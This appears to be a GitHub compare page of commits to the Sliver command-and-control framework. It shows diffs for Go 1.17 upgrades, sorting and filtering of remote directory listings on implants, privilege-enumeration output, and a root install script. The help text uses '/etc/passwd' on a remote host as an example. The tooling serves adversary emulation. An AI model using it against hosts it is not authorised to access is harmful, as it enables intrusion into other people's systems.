Compare commits

...
23 Commits
Author SHA1 Message Date
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
moloch-- 8cc3f1984a Updated garble 2021-08-26 17:31:01 -05:00
Joe 80b40341d8 Merge pull request #503 from RafBishopFox/master
Getprivs: Cleanup and Adding Process Name
2021-08-21 11:53:19 -05:00
Raf c4101f502d Add process name to getprivs and cleaning up getprivs code 2021-08-21 08:09:36 -04:00
Joe 59bdaa7469 Merge pull request #501 from BishopFox/gh-pages
Updated Linux install script
2021-08-19 15:17:23 -05:00
moloch-- cce67c289a Updated linux install script 2021-08-19 14:55:49 -05:00
Joe 97e7df764c Merge pull request #500 from BishopFox/go/v1.17
Go/v1.17
2021-08-19 11:48:43 -05:00
moloch-- 33e03df1c9 Fix case of Binject in vendor/ 2021-08-19 11:09:47 -05:00
moloch-- d8fc1244d6 Updated Github Actions to use 1.17 2021-08-19 10:14:46 -05:00
moloch-- 93e5d21941 Go mod tidy/vendor with 1.17 2021-08-19 10:13:36 -05:00
moloch-- 7f31a9ea3e Clean up of Dockerfile, fixed import 2021-08-19 09:59:48 -05:00
moloch-- 242afb0011 Go v1.17 2021-08-19 09:38:00 -05:00
Ronan Kervella 93935b1691 Merge pull request #497 from RafBishopFox/master
Extending ls functionality
2021-08-18 17:00:56 +02:00
Raf a13a4dc12e ls: Adding a bit more info to long help (Round 2). 2021-08-18 10:04:25 -04:00
Raf 4fa4562bea ls: Adding a bit more info to long help. 2021-08-18 09:24:11 -04:00
Raf 61b86a4a9a Extending ls functionality 2021-08-18 07:52:31 -04:00
Ronan Kervella 2c70ff1291 Merge pull request #496 from RafBishopFox/master
Adding process integrity to getprivs
2021-08-16 15:55:37 +02:00
Raf 4a3a2a7be3 Adding process integrity to getprivs 2021-08-16 09:23:56 -04:00
Joe 2a8f9bca18 Merge pull request #493 from BishopFox/go/v1.16.7
Go v1.16.7
2021-08-09 10:29:06 -05:00
moloch-- d46a67c840 Go v1.16.7 2021-08-09 10:06:49 -05:00
Ronan Kervella 043eda5bc4 Merge pull request #492 from BishopFox/procdump-memory
In-memory procdump
2021-08-04 13:23:41 +02:00
202 changed files with 6998 additions and 4217 deletions

No files matched your search

+15 -22
View File
@@ -1,28 +1,21 @@
assets/*.zip
assets/darwin
assets/linux
assets/windows
server/assets/fs/**.zip
/server/assets/fs/**.zip
*.sdk.tar.xz
/*.sdk.tar.xz
sliver-server
sliver-server.exe
/sliver-server
/sliver-server.exe
sliver-client
sliver-client.exe
/sliver-client
/sliver-client.exe
gui/
gui/*
/.vscode/
/.vscode/*
.vscode/
.vscode/*
/.github/
/.github/*
.github/
.github/*
build.py
LICENSE
SECURITY.md
README.md
CONTRIBUTING.md
/build.py
/LICENSE
/SECURITY.md
/README.md
/CONTRIBUTING.md
+4 -4
View File
@@ -14,10 +14,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -59,10 +59,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+2 -2
View File
@@ -17,10 +17,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: "^1.16"
go-version: "^1.17"
- name: Checkout repository
uses: actions/checkout@v2
+4 -4
View File
@@ -15,10 +15,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: OS Packages
run: |
@@ -50,10 +50,10 @@ jobs:
timeout-minutes: 45
steps:
- name: Go 1.16
- name: Go 1.17
uses: actions/setup-go@v2
with:
go-version: '^1.16'
go-version: '^1.17'
- name: Mingw
run: brew install mingw-w64
+7 -7
View File
@@ -1,10 +1,10 @@
.vscode/*
.devcontainer
/.vscode/*
/.devcontainer
Dockerfile.*
*.sdk.tar.xz
/Dockerfile.*
/*.sdk.tar.xz
release-*
/release-*
# Diffs
*.orig
@@ -30,10 +30,10 @@ sliver-server-windows.zip
*.dylib
# Test binary, build with `go test -c`
*.test
/*.test
# Output of the go coverage tool, specifically when used with LiteIDE
*.out
/*.out
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
.glide/
+11 -8
View File
@@ -1,4 +1,4 @@
FROM golang:1.16.6
FROM golang:1.17
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -42,26 +42,29 @@ RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
# > Sliver
#
# protoc
# Protoc
WORKDIR /tmp
RUN wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
&& cp -vv ./bin/protoc /usr/local/bin
RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER} \
&& go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@${GRPC_GO}
# assets
# Go assets
WORKDIR /go/src/github.com/bishopfox/sliver
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
RUN ./go-assets.sh
# Compile sliver server
ADD . /go/src/github.com/bishopfox/sliver/
RUN go mod vendor && make linux && cp -vv sliver-server /opt/sliver-server
RUN make \
&& cp -vv sliver-server /opt/sliver-server \
&& /opt/sliver-server unpack --force
RUN ls -lah \
&& /opt/sliver-server unpack --force \
&& /go/src/github.com/bishopfox/sliver/go-tests.sh
# Run unit tests
RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# Clean up
RUN make clean \
&& rm -rf /go/src/* \
&& rm -rf /home/sliver/.sliver
+3
View File
@@ -1038,6 +1038,9 @@ func BindCommands(con *console.SliverConsoleClient) {
LongHelp: help.GetHelpFor([]string{consts.LsStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("r", "reverse", false, "reverse sort order")
f.Bool("m", "modified", false, "sort by modified time")
f.Bool("s", "size", false, "sort by size")
},
Args: func(a *grumble.Args) {
a.String("path", "path to enumerate", grumble.Default("."))
+118 -6
View File
@@ -22,8 +22,11 @@ import (
"bytes"
"context"
"fmt"
"path/filepath"
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
remotePath := ctx.Args.String("path")
filter := ""
/*
Check to see if the remote path is a filter or contains a filter.
If the path passes the test to be a filter, then it is a filter
because paths are not valid filters.
*/
if remotePath != "." {
// Check if the path contains a filter
// Test on a standardized version of the path (change any \ to /)
testPath := strings.Replace(remotePath, "\\", "/", -1)
/*
Cannot use the path or filepath libraries because the OS
of the client does not necessarily match the OS of the
implant
*/
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
if lastSeparatorOccurence == -1 {
// Then this is only a filter
filter = remotePath
remotePath = "."
} else {
// Then we need to test for a filter on the end of the string
// The indicies should be the same because we did not change the length of the string
baseDir := remotePath[:lastSeparatorOccurence]
potentialFilter := remotePath[lastSeparatorOccurence+1:]
_, err := filepath.Match(potentialFilter, "")
if err == nil {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
}
}
}
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveSession.Request(ctx),
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if err != nil {
con.PrintWarnf("%s\n", err)
} else {
PrintLs(ls, con)
PrintLs(ls, con, ctx.Flags, filter)
}
}
// PrintLs - Display an sliverpb.Ls object
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
con.Printf("%s\n", ls.Path)
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
for _, fileInfo := range ls.Files {
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
// Extract the flags
reverseSort := flags.Bool("reverse")
sortByTime := flags.Bool("modified")
sortBySize := flags.Bool("size")
/*
By default, name sorting is case sensitive. Upper case entries come before
lower case ones. Instead, we will level the playing field and sort
regardless of case
*/
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
})
}
/*
After names are sorted properly, take care of the modified time if the
user wants to sort by time. Doing this after sorting by name
will make the time sorted entries properly sorted by name if times are equal.
*/
if sortByTime {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime > ls.Files[j].ModTime
})
} else {
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].ModTime < ls.Files[j].ModTime
})
}
} else if sortBySize {
if reverseSort {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size > ls.Files[j].Size
})
} else {
sort.SliceStable(ls.Files, func(i, j int) bool {
return ls.Files[i].Size < ls.Files[j].Size
})
}
}
for _, fileInfo := range ls.Files {
if filter != "" {
fileMatch, err := filepath.Match(filter, fileInfo.Name)
if err != nil {
/*
This should not happen because we checked the filter
before reaching out to the implant.
*/
con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
break
}
if !fileMatch {
continue
}
}
modTime := time.Unix(fileInfo.ModTime, 0)
implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
modTime = modTime.In(implantLocation)
if fileInfo.IsDir {
fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
}
}
table.Flush()
+25 -1
View File
@@ -235,7 +235,31 @@ c2 message round trip to ensure the remote Sliver is still responding to command
[[.Bold]]About:[[.Normal]] Kill a remote sliver process (does not delete file).`
lsHelp = `[[.Bold]]Command:[[.Normal]] ls <remote path>
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.`
[[.Bold]]About:[[.Normal]] List remote files in current directory, or path if provided.
[[.Bold]][[.Underline]]Sorting[[.Normal]]
Directory and file listings are sorted by name in ascending order by default. Listings can also be sorted by size (-s) and modified time (-m). All sorts can be reversed with -r.
[[.Bold]][[.Underline]]Filters[[.Normal]]
Filters are a way to limit search results to directory and file names matching given criteria.
Filters are specified after the path. A blank path will filter on names in the current directory. For example:
/etc/passwd will display the listing for /etc/passwd. "/etc/" is the path, and "passwd" is the filter.
Directory and file listings can be filtered using the following patterns:
'*': Wildcard, matches any sequence of non-path separators (slashes)
Example: n*.txt will match all file and directory names starting with n and ending with .txt
'?': Single character wildcard, matches a single non-path separator (slashes)
Example: s?iver will match all file and directory names starting with s followed by any non-separator character and ending with iver.
'[{range}]': Match a range of characters. Ranges are specified with '-'. This is usually combined with other patterns. Ranges can be negated with '^'.
Example: [a-c] will match the characters a, b, and c. [a-c]* will match all directory and file names that start with a, b, or c.
^[r-u] will match all characters except r, s, t, and u.
If you need to match a special character (*, ?, '-', '[', ']', '\\'), place '\\' in front of it (example: \\?).
On Windows, escaping is disabled. Instead, '\\' is treated as path separator.
`
cdHelp = `[[.Bold]]Command:[[.Normal]] cd [remote path]
[[.Bold]]About:[[.Normal]] Change working directory of the active Sliver.`
+14 -4
View File
@@ -2,6 +2,8 @@ package privilege
import (
"context"
"strconv"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -27,6 +29,8 @@ import (
*/
func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var processName string = "Current Process"
session := con.ActiveSession.GetInteractive()
if session == nil {
return
@@ -56,10 +60,15 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if privs.ProcessName != "" {
processName = privs.ProcessName
}
// To make things look pretty, figure out the longest name and description
// for column width
var nameColumnWidth int = 0
var descriptionColumnWidth int = 0
var introWidth int = 34 + len(processName) + len(strconv.Itoa(int(session.PID)))
for _, entry := range privs.PrivInfo {
if len(entry.Name) > nameColumnWidth {
@@ -74,12 +83,13 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
nameColumnWidth += 1
descriptionColumnWidth += 1
con.Println("Privilege Information for Current Process")
con.Println("-----------------------------------------")
con.Printf("Privilege Information for %s (PID: %d)\n", processName, session.PID)
con.Println(strings.Repeat("-", introWidth))
con.Printf("\nProcess Integrity Level: %s\n\n", privs.ProcessIntegrity)
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "Name", descriptionColumnWidth, "Description", "Attributes")
con.Printf("%-*s\t%-*s\t%s\n", nameColumnWidth, "====", descriptionColumnWidth, "===========", "==========")
for _, entry := range privs.PrivInfo {
con.Printf("%-*s\t%-*s\t(", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
con.Printf("%-*s\t%-*s\t", nameColumnWidth, entry.Name, descriptionColumnWidth, entry.Description)
if entry.Enabled {
con.Printf("Enabled")
} else {
@@ -94,6 +104,6 @@ func GetPrivsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if entry.UsedForAccess {
con.Printf(", Used for Access")
}
con.Printf(")\n")
con.Printf("\n")
}
}
+120 -24
View File
@@ -1,15 +1,22 @@
#!/bin/bash
set -e
SLIVER_GPG_KEY_ID=4449039C
if [ "$EUID" -ne 0 ]
then echo "Please run as root"
exit
fi
if [ -n "$(command -v yum)" ]
then
sudo -S -p '' yum -y install zip unzip curl gcc gcc-c++ make mingw64-gcc
yum -y install zip unzip gnupg curl gcc gcc-c++ make mingw64-gcc
fi
if [ -n "$(command -v apt-get)" ]
then
DEBIAN_FRONTEND=noninteractive sudo -S -p '' apt-get install -yqq \
zip unzip curl build-essential \
DEBIAN_FRONTEND=noninteractive apt-get install -yqq \
zip unzip gpg curl build-essential \
mingw-w64 binutils-mingw-w64 g++-mingw-w64
fi
@@ -31,9 +38,69 @@ then
echo "zip could not be found"
exit 1
fi
# GPG
if ! command -v gpg &> /dev/null
then
echo "gpg could not be found"
exit 1
fi
cd $HOME
echo "Running from $HOME"
cd /root
echo "Running from $(pwd)"
gpg --import <<EOF
-----BEGIN PGP PUBLIC KEY BLOCK-----
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
=lxj2
-----END PGP PUBLIC KEY BLOCK-----
EOF
#
# Download and Unpack Sliver Server
@@ -57,44 +124,73 @@ do
fi
done
if test -f "$SLIVER_SERVER_ZIP"; then
unzip -o $SLIVER_SERVER_ZIP -d $HOME
rm -f $SLIVER_SERVER_ZIP
echo "Verifying signatures ..."
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_SERVER_ZIP.sig /root/$SLIVER_SERVER_ZIP
gpg --default-key $SLIVER_GPG_KEY_ID --verify /root/$SLIVER_CLIENT_ZIP.sig /root/$SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_SERVER_ZIP"; then
unzip -o /root/$SLIVER_SERVER_ZIP -d /root
rm -f /root/$SLIVER_SERVER_ZIP
else
exit 2
fi
if test -f "$HOME/$SLIVER_SERVER"; then
chmod 755 $HOME/$SLIVER_SERVER
$HOME/$SLIVER_SERVER unpack --force
if test -f "/root/$SLIVER_SERVER"; then
chmod 755 /root/$SLIVER_SERVER
/root/$SLIVER_SERVER unpack --force
else
exit 3
fi
if test -f "$SLIVER_CLIENT_ZIP"; then
unzip -o $SLIVER_CLIENT_ZIP -d $HOME
rm -f $SLIVER_CLIENT_ZIP
if test -f "/root/$SLIVER_CLIENT_ZIP"; then
unzip -o /root/$SLIVER_CLIENT_ZIP -d /root
rm -f /root/$SLIVER_CLIENT_ZIP
else
exit 2
fi
if test -f "$HOME/$SLIVER_CLIENT"; then
chmod 755 $HOME/$SLIVER_CLIENT
cp -vv $HOME/$SLIVER_CLIENT /usr/local/bin/sliver
if test -f "/root/$SLIVER_CLIENT"; then
chmod 755 /root/$SLIVER_CLIENT
cp -vv /root/$SLIVER_CLIENT /usr/local/bin/sliver
chmod 755 /usr/local/bin/sliver
else
exit 3
fi
# systemd
curl -o ./sliver.service https://sliver.sh/sliver.service
cp ./sliver.service /etc/systemd/system/sliver.service
echo "Configuring systemd service ..."
cat > /etc/systemd/system/sliver.service <<-EOF
[Unit]
Description=Sliver
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=on-failure
RestartSec=3
User=root
ExecStart=/root/sliver-server daemon
[Install]
WantedBy=multi-user.target
EOF
chown root:root /etc/systemd/system/sliver.service
chmod 600 /etc/systemd/system/sliver.service
systemctl start sliver
rm -f ./sliver.service
# generate local configs
mkdir -p $HOME/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $HOME/.sliver-client/configs
chown -R $USER:$USER $HOME/.sliver-client/
# Generate local configs
echo "Generating operator configs ..."
mkdir -p /root/.sliver-client/configs
/root/sliver-server operator --name root --lhost localhost --save /root/.sliver-client/configs
chown -R root:root /root/.sliver-client/
USER_DIRS=(/home/*)
for USER_DIR in "${USER_DIRS[@]}"; do
USER=$(basename $USER_DIR)
if id -u $USER >/dev/null 2>&1; then
mkdir -p $USER_DIR/.sliver-client/configs
/root/sliver-server operator --name $USER --lhost localhost --save $USER_DIR/.sliver-client/configs
chown -R $USER:$USER $USER_DIR/.sliver-client/
fi
done
+2 -2
View File
@@ -19,8 +19,8 @@
# Creates the static go asset archives
GO_VER="1.16.6"
GARBLE_VER="1.16.7"
GO_VER="1.17"
GARBLE_VER="1.17.1"
GO_ARCH_1="amd64"
GO_ARCH_2="arm64"
+44 -3
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.16
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
@@ -9,10 +9,10 @@ require (
github.com/AlecAivazis/survey/v2 v2.2.2
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/binject/go-donut v0.0.0-20201215224200-d947cf4d090d
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
@@ -33,6 +33,7 @@ require (
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
@@ -50,6 +51,46 @@ require (
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.20.6
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
github.com/jackc/pgio v1.0.0 // indirect
github.com/jackc/pgpassfile v1.0.0 // indirect
github.com/jackc/pgproto3/v2 v2.0.5 // indirect
github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b // indirect
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.7 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 // indirect
golang.org/x/text v0.3.6 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+11 -2
View File
@@ -19,6 +19,8 @@ github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtH
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf h1:Cx4YJvjPZD91xiffqJOq8l3j1YKcvx3+8duqq7DX9gY=
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
@@ -36,6 +38,7 @@ github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab/go.mod h1:u1+HeRy
github.com/VividCortex/ewma v1.1.1 h1:MnEK4VOv6n0RSY4vtRe3h11qjxL3+t0B8yOL8iMXdcM=
